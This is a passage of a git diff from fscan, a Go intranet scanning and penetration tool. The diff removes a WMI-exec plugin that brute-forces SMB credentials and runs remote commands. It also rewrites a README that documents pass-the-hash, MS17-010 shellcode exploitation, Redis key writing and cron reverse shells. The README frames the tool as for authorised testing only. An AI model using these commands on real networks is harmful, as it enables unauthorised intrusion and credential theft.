if resp.StatusCode == 400 && string(url[5]) != "https"{
|
||||||
break
|
info.Url = strings.Replace(url, "http://", "https://", 1)
|
||||||
|
return geturl(info)
|
||||||
|
}else {
|
||||||
|
result = fmt.Sprintf("WebTitle:%v %v %v",url,resp.StatusCode,title)
|
||||||
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
body = append(body, buf...)
|
return err, result
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
raw, err := ioutil.ReadAll(oResp.Body)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
body = raw
|
|
||||||
}
|
}
|
||||||
return body, nil
|
return err, ""
|
||||||
}
|
|
||||||
|
|
||||||
func gettitle(body []byte) (title string) {
|
//fmt.Print("\n")
|
||||||
re := regexp.MustCompile("(?ims)<title>(.*?)</title>")
|
|
||||||
find := re.FindSubmatch(body)
|
|
||||||
if len(find) > 1 {
|
|
||||||
title = string(find[1])
|
|
||||||
title = strings.TrimSpace(title)
|
|
||||||
title = strings.Replace(title, "\n", "", -1)
|
|
||||||
title = strings.Replace(title, "\r", "", -1)
|
|
||||||
title = strings.Replace(title, " ", " ", -1)
|
|
||||||
if len(title) > 100 {
|
|
||||||
title = title[:100]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if title == "" {
|
|
||||||
title = "None"
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
|
//var client = &http.Client{
|
||||||
|
// Transport:&http.Transport{
|
||||||
|
// DialContext:(&net.Dialer{
|
||||||
|
// Timeout:time.Duration(info.Timeout)*time.Second,
|
||||||
|
// }).DialContext,
|
||||||
|
// },
|
||||||
|
// CheckRedirect:func(req *http.Request, via []*http.Request) error{
|
||||||
|
// return http.ErrUseLastResponse
|
||||||
|
// },
|
||||||
|
//}
|
||||||
|
|
||||||
func GetProtocol(host string, Timeout int64) (protocol string) {
|
//if info.Cookie!=""{
|
||||||
protocol = "http"
|
// res.Header.Add("Cookie",info.Cookie)
|
||||||
//如果端口是80或443,跳过Protocol判断
|
//}
|
||||||
if strings.HasSuffix(host, ":80") || !strings.Contains(host, ":") {
|
//if info.Header!=""{
|
||||||
return
|
// var header = make(map[string]string)
|
||||||
} else if strings.HasSuffix(host, ":443") {
|
// err:=json.Unmarshal([]byte(info.Header),&header)
|
||||||
protocol = "https"
|
// if err!=nil{
|
||||||
return
|
// Misc.CheckErr(err)
|
||||||
}
|
// }
|
||||||
|
// for k,v:=range header{
|
||||||
socksconn, err := common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second)
|
// res.Header.Add(k,v)
|
||||||
if err != nil {
|
// }
|
||||||
return
|
//}
|
||||||
}
|
|
||||||
conn := tls.Client(socksconn, &tls.Config{InsecureSkipVerify: true})
|
|
||||||
defer func() {
|
|
||||||
if conn != nil {
|
|
||||||
defer func() {
|
|
||||||
if err := recover(); err != nil {
|
|
||||||
common.LogError(err)
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
conn.SetDeadline(time.Now().Add(time.Duration(Timeout) * time.Second))
|
|
||||||
err = conn.Handshake()
|
|
||||||
if err == nil || strings.Contains(err.Error(), "handshake failure") {
|
|
||||||
protocol = "https"
|
|
||||||
}
|
|
||||||
return protocol
|
|
||||||
}
|
|
||||||
@@ -1,117 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"os"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/C-Sto/goWMIExec/pkg/wmiexec"
|
|
||||||
)
|
|
||||||
|
|
||||||
var ClientHost string
|
|
||||||
var flag bool
|
|
||||||
|
|
||||||
func init() {
|
|
||||||
if flag {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
clientHost, err := os.Hostname()
|
|
||||||
if err != nil {
|
|
||||||
fmt.Println(err)
|
|
||||||
}
|
|
||||||
ClientHost = clientHost
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
|
|
||||||
func WmiExec(info *common.HostInfo) (tmperr error) {
|
|
||||||
if common.IsBrute {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
starttime := time.Now().Unix()
|
|
||||||
for _, user := range common.Userdict["smb"] {
|
|
||||||
PASS:
|
|
||||||
for _, pass := range common.Passwords {
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
|
||||||
flag, err := Wmiexec(info, user, pass, common.Hash)
|
|
||||||
errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
|
||||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
|
||||||
common.LogError(errlog)
|
|
||||||
if flag == true {
|
|
||||||
var result string
|
|
||||||
if common.Domain != "" {
|
|
||||||
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[+] WmiExec:%v:%v:%v ", info.Host, info.Ports, user)
|
|
||||||
}
|
|
||||||
if common.Hash != "" {
|
|
||||||
result += "hash: " + common.Hash
|
|
||||||
} else {
|
|
||||||
result += pass
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
|
||||||
return err
|
|
||||||
} else {
|
|
||||||
tmperr = err
|
|
||||||
if common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if len(common.Hash) == 32 {
|
|
||||||
break PASS
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return tmperr
|
|
||||||
}
|
|
||||||
|
|
||||||
func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
|
|
||||||
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
|
||||||
wmiexec.Timeout = int(common.Timeout)
|
|
||||||
return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) {
|
|
||||||
if cfgIn == nil {
|
|
||||||
cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil)
|
|
||||||
if err1 != nil {
|
|
||||||
err = err1
|
|
||||||
return
|
|
||||||
}
|
|
||||||
cfgIn = &cfg
|
|
||||||
}
|
|
||||||
execer := wmiexec.NewExecer(cfgIn)
|
|
||||||
err = execer.SetTargetBinding(binding)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
err = execer.Auth()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
flag = true
|
|
||||||
|
|
||||||
if command != "" {
|
|
||||||
command = "C:\\Windows\\system32\\cmd.exe /c " + command
|
|
||||||
if execer.TargetRPCPort == 0 {
|
|
||||||
err = errors.New("RPC Port is 0, cannot connect")
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
err = execer.RPCConnect()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
err = execer.Exec(command)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
@@ -1,242 +1,83 @@
|
|||||||
# fscan
|
# fscan
|
||||||
|
|
||||||
# 1. 简介
|
# 简介
|
||||||
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
|
一款内网扫描工具,方便一键大保健。
|
||||||
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
|
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息等。
|
||||||
|
趁着最近有空,用go把f-scrack重构了一遍。使用go来编写,也有更好的扩展性及兼容性。
|
||||||
|
还在逐步增加功能,欢迎各位师傅提意见。
|
||||||
|
|
||||||
# 2. 主要功能
|
|
||||||
1.信息搜集:
|
|
||||||
* 存活探测(icmp)
|
|
||||||
* 端口扫描
|
|
||||||
|
|
||||||
2.爆破功能:
|
## why
|
||||||
* 各类服务爆破(ssh、smb、rdp等)
|
为什么有LadonGo、x-crack 、tscan、Gscan 这些工具了还要写fscan
|
||||||
* 数据库密码爆破(mysql、mssql、redis、psql、oracle等)
|
|
||||||
|
|
||||||
3.系统信息、漏洞扫描:
|
答:
|
||||||
* netbios探测、域控识别
|
因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
|
||||||
* 获取目标网卡信息
|
|
||||||
* 高危漏洞扫描(ms17010等)
|
|
||||||
|
|
||||||
4.Web探测功能:
|
|
||||||
* webtitle探测
|
|
||||||
* web指纹识别(常见cms、oa框架等)
|
|
||||||
* web漏洞扫描(weblogic、st2等,支持xray的poc)
|
|
||||||
|
|
||||||
5.漏洞利用:
|
## usege
|
||||||
* redis写公钥或写计划任务
|
|
||||||
* ssh命令执行
|
|
||||||
* ms17017利用(植入shellcode),如添加用户等
|
|
||||||
|
|
||||||
6.其他功能:
|
|
||||||
* 文件保存
|
|
||||||
|
|
||||||
# 3. 使用说明
|
|
||||||
简单用法
|
简单用法
|
||||||
```
|
```
|
||||||
|
go run main.go -h 192.168.1.1/24
|
||||||
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
|
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
|
||||||
fscan.exe -h 192.168.1.1/16 (B段扫描)
|
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
|
||||||
```
|
|
||||||
|
|
||||||
其他用法
|
|
||||||
```
|
|
||||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
|
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
|
||||||
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
|
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
|
||||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
|
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
|
||||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
|
|
||||||
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
||||||
fscan.exe -hf ip.txt (以文件导入)
|
|
||||||
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4)
|
|
||||||
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(wmiexec无回显命令执行)
|
|
||||||
```
|
```
|
||||||
编译命令
|
|
||||||
```
|
|
||||||
go build -ldflags="-s -w " -trimpath main.go
|
|
||||||
upx -9 fscan.exe (可选,压缩体积)
|
|
||||||
```
|
|
||||||
arch用户安装
|
|
||||||
`yay -S fscan-git 或者 paru -S fscan-git`
|
|
||||||
|
|
||||||
完整参数
|
完整参数
|
||||||
```
|
```
|
||||||
-c string
|
-c string
|
||||||
ssh命令执行
|
exec command (ssh)
|
||||||
-cookie string
|
|
||||||
设置cookie
|
|
||||||
-debug int
|
|
||||||
多久没响应,就打印当前进度(default 60)
|
|
||||||
-domain string
|
|
||||||
smb爆破模块时,设置域名
|
|
||||||
-h string
|
-h string
|
||||||
目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||||
-hf string
|
|
||||||
读取文件中的目标
|
|
||||||
-hn string
|
|
||||||
扫描时,要跳过的ip: -hn 192.168.1.1/24
|
|
||||||
-m string
|
-m string
|
||||||
设置扫描模式: -m ssh (default "all")
|
Select scan type ,as: -m ssh (default "all")
|
||||||
-no
|
-no
|
||||||
扫描结果不保存到文件中
|
not to save output log
|
||||||
-nobr
|
|
||||||
跳过sql、ftp、ssh等的密码爆破
|
|
||||||
-nopoc
|
|
||||||
跳过web poc扫描
|
|
||||||
-np
|
-np
|
||||||
跳过存活探测
|
not to ping
|
||||||
-num int
|
|
||||||
web poc 发包速率 (default 20)
|
|
||||||
-o string
|
-o string
|
||||||
扫描结果保存到哪 (default "result.txt")
|
Outputfile (default "result.txt")
|
||||||
-p string
|
-p string
|
||||||
设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
|
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
|
||||||
-pa string
|
|
||||||
新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
|
|
||||||
-path string
|
|
||||||
fcgi、smb romote file path
|
|
||||||
-ping
|
|
||||||
使用ping代替icmp进行存活探测
|
|
||||||
-pn string
|
|
||||||
扫描时要跳过的端口,as: -pn 445
|
|
||||||
-pocname string
|
|
||||||
指定web poc的模糊名字, -pocname weblogic
|
|
||||||
-proxy string
|
|
||||||
设置代理, -proxy http://127.0.0.1:8080
|
|
||||||
-user string
|
|
||||||
指定爆破时的用户名
|
|
||||||
-userf string
|
|
||||||
指定爆破时的用户名文件
|
|
||||||
-pwd string
|
-pwd string
|
||||||
指定爆破时的密码
|
password
|
||||||
-pwdf string
|
-pwdf string
|
||||||
指定爆破时的密码文件
|
password file
|
||||||
-rf string
|
-rf string
|
||||||
指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
|
redis file to write sshkey file (as: -rf id_rsa.pub)
|
||||||
-rs string
|
-rs string
|
||||||
redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
|
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
||||||
-silent
|
|
||||||
静默扫描,适合cs扫描时不回显
|
|
||||||
-sshkey string
|
|
||||||
ssh连接时,指定ssh私钥
|
|
||||||
-t int
|
-t int
|
||||||
扫描线程 (default 600)
|
Thread nums (default 100)
|
||||||
-time int
|
-time int
|
||||||
端口扫描超时时间 (default 3)
|
Set timeout (default 3)
|
||||||
-u string
|
-user string
|
||||||
指定Url扫描
|
username
|
||||||
-uf string
|
-userf string
|
||||||
指定Url文件扫描
|
username file
|
||||||
-wt int
|
|
||||||
web访问超时时间 (default 5)
|
|
||||||
-pocpath string
|
|
||||||
指定poc路径
|
|
||||||
-usera string
|
|
||||||
在原有用户字典基础上,新增新用户
|
|
||||||
-pwda string
|
|
||||||
在原有密码字典基础上,增加新密码
|
|
||||||
-socks5
|
|
||||||
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
|
|
||||||
-sc
|
|
||||||
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
|
|
||||||
```
|
```
|
||||||
|
|
||||||
# 4. 运行截图
|
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
`fscan.exe -h 192.168.x.x`
|
||||||

|

|
||||||
|
|
||||||

|
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)`
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
|
|
||||||

|

|
||||||
|
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
||||||

|

|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
|
|
||||||

|
|
||||||
|
|
||||||
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
|
`fscan.exe -h 192.168.x.x (ms17010、读取网卡信息)`
|
||||||

|

|
||||||
|
|
||||||
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
|
|
||||||

|
|
||||||
|
|
||||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
|
|
||||||

|
|
||||||
|
|
||||||
# 5. 免责声明
|
|
||||||
|
|
||||||
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
|
|
||||||
|
|
||||||
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
|
|
||||||
|
|
||||||
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
|
|
||||||
|
|
||||||
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
|
|
||||||
|
|
||||||
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
|
|
||||||
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
|
||||||
|
|
||||||
|
|
||||||
# 6. 404StarLink 2.0 - Galaxy
|
## 参考链接
|
||||||

|
|
||||||
|
|
||||||
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
|
||||||
|
|
||||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
|
||||||
|
|
||||||
|
|
||||||
# 7. Star Chart
|
|
||||||
[](https://starchart.cc/shadow1ng/fscan)
|
|
||||||
|
|
||||||
# 8. 捐赠
|
|
||||||
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
|
|
||||||
|
|
||||||
# 9. 参考链接
|
|
||||||
https://github.com/Adminisme/ServerScan
|
https://github.com/Adminisme/ServerScan
|
||||||
https://github.com/netxfly/x-crack
|
https://github.com/netxfly/x-crack
|
||||||
https://github.com/hack2fun/Gscan
|
https://github.com/hack2fun/Gscan
|
||||||
https://github.com/k8gege/LadonGo
|
https://github.com/k8gege/LadonGo
|
||||||
https://github.com/jjf012/gopoc
|
|
||||||
|
|
||||||
|
|
||||||
# 10. 最近更新
|
|
||||||
[+] 2022/11/19 加入hash碰撞、wmiiexec无回显命令执行
|
|
||||||
[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式
|
|
||||||
[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。
|
|
||||||
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
|
|
||||||
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
|
|
||||||
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程
|
|
||||||
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
|
|
||||||
[+] 2022/1/11 新增oracle密码爆破
|
|
||||||
[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量.
|
|
||||||
[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)
|
|
||||||
[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞
|
|
||||||
[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍
|
|
||||||
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接
|
|
||||||
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码
|
|
||||||
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等
|
|
||||||
[+] 2021/4/22 修改webtitle模块,加入gbk解码
|
|
||||||
[+] 2021/4/21 加入netbios探测、域控识别
|
|
||||||
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描
|
|
||||||
[+] 2021/2/25 修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml
|
|
||||||
[+] 2021/2/8 增加指纹识别功能,可识别常见CMS、框架,如致远OA、通达OA等。
|
|
||||||
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
|
|
||||||
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
|
|
||||||
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
|
|
||||||
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
|
|
||||||
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
|
|
||||||
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
|
|
||||||
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
|
|
||||||
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
|
|
||||||
[+] 2020/11/15 支持ip以文件导入,-hf ip.txt,并对去重做了处理
|
|
||||||
@@ -1,69 +0,0 @@
|
|||||||
package WebScan
|
|
||||||
|
|
||||||
import (
|
|
||||||
"crypto/md5"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/WebScan/info"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"regexp"
|
|
||||||
)
|
|
||||||
|
|
||||||
type CheckDatas struct {
|
|
||||||
Body []byte
|
|
||||||
Headers string
|
|
||||||
}
|
|
||||||
|
|
||||||
func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
|
|
||||||
var matched bool
|
|
||||||
var infoname []string
|
|
||||||
|
|
||||||
for _, data := range *CheckData {
|
|
||||||
for _, rule := range info.RuleDatas {
|
|
||||||
if rule.Type == "code" {
|
|
||||||
matched, _ = regexp.MatchString(rule.Rule, string(data.Body))
|
|
||||||
} else {
|
|
||||||
matched, _ = regexp.MatchString(rule.Rule, data.Headers)
|
|
||||||
}
|
|
||||||
if matched == true {
|
|
||||||
infoname = append(infoname, rule.Name)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
//flag, name := CalcMd5(data.Body)
|
|
||||||
|
|
||||||
//if flag == true {
|
|
||||||
// infoname = append(infoname, name)
|
|
||||||
//}
|
|
||||||
}
|
|
||||||
|
|
||||||
infoname = removeDuplicateElement(infoname)
|
|
||||||
|
|
||||||
if len(infoname) > 0 {
|
|
||||||
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infoname)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
return infoname
|
|
||||||
}
|
|
||||||
return []string{""}
|
|
||||||
}
|
|
||||||
|
|
||||||
func CalcMd5(Body []byte) (bool, string) {
|
|
||||||
has := md5.Sum(Body)
|
|
||||||
md5str := fmt.Sprintf("%x", has)
|
|
||||||
for _, md5data := range info.Md5Datas {
|
|
||||||
if md5str == md5data.Md5Str {
|
|
||||||
return true, md5data.Name
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false, ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func removeDuplicateElement(languages []string) []string {
|
|
||||||
result := make([]string, 0, len(languages))
|
|
||||||
temp := map[string]struct{}{}
|
|
||||||
for _, item := range languages {
|
|
||||||
if _, ok := temp[item]; !ok {
|
|
||||||
temp[item] = struct{}{}
|
|
||||||
result = append(result, item)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
@@ -1,101 +0,0 @@
|
|||||||
package WebScan
|
|
||||||
|
|
||||||
import (
|
|
||||||
"embed"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
)
|
|
||||||
|
|
||||||
//go:embed pocs
|
|
||||||
var Pocs embed.FS
|
|
||||||
var once sync.Once
|
|
||||||
var AllPocs []*lib.Poc
|
|
||||||
|
|
||||||
func WebScan(info *common.HostInfo) {
|
|
||||||
once.Do(initpoc)
|
|
||||||
var pocinfo = common.Pocinfo
|
|
||||||
buf := strings.Split(info.Url, "/")
|
|
||||||
pocinfo.Target = strings.Join(buf[:3], "/")
|
|
||||||
|
|
||||||
if pocinfo.PocName != "" {
|
|
||||||
Execute(pocinfo)
|
|
||||||
} else {
|
|
||||||
for _, infostr := range info.Infostr {
|
|
||||||
pocinfo.PocName = lib.CheckInfoPoc(infostr)
|
|
||||||
Execute(pocinfo)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func Execute(PocInfo common.PocInfo) {
|
|
||||||
req, err := http.NewRequest("GET", PocInfo.Target, nil)
|
|
||||||
if err != nil {
|
|
||||||
errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
req.Header.Set("User-agent", common.UserAgent)
|
|
||||||
req.Header.Set("Accept", common.Accept)
|
|
||||||
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
|
||||||
if common.Cookie != "" {
|
|
||||||
req.Header.Set("Cookie", common.Cookie)
|
|
||||||
}
|
|
||||||
req.Header.Set("Connection", "close")
|
|
||||||
pocs := filterPoc(PocInfo.PocName)
|
|
||||||
lib.CheckMultiPoc(req, pocs, common.PocNum)
|
|
||||||
}
|
|
||||||
|
|
||||||
func initpoc() {
|
|
||||||
if common.PocPath == "" {
|
|
||||||
entries, err := Pocs.ReadDir("pocs")
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[-] init poc error: %v", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
for _, one := range entries {
|
|
||||||
path := one.Name()
|
|
||||||
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
|
|
||||||
if poc, _ := lib.LoadPoc(path, Pocs); poc != nil {
|
|
||||||
AllPocs = append(AllPocs, poc)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
err := filepath.Walk(common.PocPath,
|
|
||||||
func(path string, info os.FileInfo, err error) error {
|
|
||||||
if err != nil || info == nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if !info.IsDir() {
|
|
||||||
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
|
|
||||||
poc, _ := lib.LoadPocbyPath(path)
|
|
||||||
